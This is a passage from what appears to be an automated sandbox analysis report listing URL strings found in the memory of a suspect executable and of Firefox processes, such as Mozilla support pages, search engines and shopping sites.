Source: firefox.exe, 00000022.00000003.2447537773.000001F372625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs:
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447988783.000001F371E63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0C86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B980000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2910420277.000001F36BA98000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B90E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B90E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2907123761.000001F36B7EE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B90B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F3684B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2455337083.000001F36ACF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2455337083.000001F36ACF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 00000022.00000002.2899281120.000001F36ADD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000022.00000003.2449943656.000001F36C2AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationCannot
Source: 6c1c4a36e1.exe, 00000012.00000003.2304546032.0000000005EB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000022.00000002.2899281120.000001F36ADD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: firefox.exe, 00000022.00000003.2443822376.000001F372549000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000022.00000002.2901748859.000001F36AE03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 00000022.00000002.2896497516.000001F36AAB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://watch.sling.com/
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 00000022.00000002.2690546838.000001F366224000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447988783.000001F371E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2884390196.000001F369B90000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2884390196.000001F369B9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000022.00000003.2443822376.000001F372549000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2451846844.000001F36B973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: file.exe, 00000000.00000003.1390701285.00000000054D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2451846844.000001F36B973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2893246597.000001F36A558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 00000022.00000002.2901748859.000001F36AE03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: 6c1c4a36e1.exe, 00000012.00000003.2305424118.00000000014BD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2560485237.000001F3658AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2526904133.000001750FACB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366224000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2899281120.000001F36AD72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2379508618.000001F369C63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2379998814.000001F369C83000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2894351966.000001F36A67E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2378951691.000001F369C22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2906431489.000001F36B339000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2378655391.000001F369A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2379178677.000001F369C42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2894351966.000001F36A6EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000022.00000002.2894351966.000001F36A67E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/main/anti-tracking-url-decorationFixes
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2893246597.000001F36A558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2893246597.000001F36A518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2893246597.000001F36A518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 00000022.00000002.2893246597.000001F36A518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: file.exe, 00000000.00000003.1335538567.000000000551B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1335696161.0000000005519000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1335588278.0000000005519000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2270077428.0000000005DA8000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2269834819.0000000005DBF000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2479618391.000000000552D000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2480039861.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2480879101.000000000552B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 00000022.00000002.2884390196.000001F369B90000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2893246597.000001F36A518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000022.00000003.2447988783.000001F371EA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 00000022.00000003.2445516655.000001F3727C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2444334400.000001F372542000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2378655391.000001F369A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2379178677.000001F369C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.1335538567.000000000551B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1335696161.0000000005519000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1335588278.0000000005519000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2270077428.0000000005DA8000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2269834819.0000000005DBF000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2479618391.000000000552D000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2480039861.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2480879101.000000000552B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000022.00000002.2893246597.000001F36A5A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2378655391.000001F369A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2379178677.000001F369C42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2894351966.000001F36A6EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000022.00000002.2905653405.000001F36B262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchLOAD_DOCUMENT_NEEDS_COOKIEget
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hulu.com/watch/
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2893246597.000001F36A558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/
Source: file.exe, 00000000.00000003.1390683124.00000000054D9000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2305424118.00000000014BD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2560485237.000001F3658AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2526904133.000001750FACB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2893246597.000001F36A558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2451846844.000001F36B973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2893246597.000001F36A558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 00000022.00000002.2896497516.000001F36AAB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mobilesuica.com/
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2899281120.000001F36AD32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2550900709.000001F35A16B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2899281120.000001F36AD37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2899281120.000001F36AD2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000022.00000002.2896497516.000001F36AA3B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2899281120.000001F36AD4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: firefox.exe, 00000022.00000002.2899281120.000001F36ADD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: firefox.exe, 00000022.00000003.2454791356.000001F36AC91000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2455931820.000001F36AC87000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 00000022.00000002.2899281120.000001F36ADD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000003.1375258090.00000000057FB000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2304546032.0000000005EB9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2899281120.000001F36ADD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: firefox.exe, 00000022.00000002.2899281120.000001F36ADD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
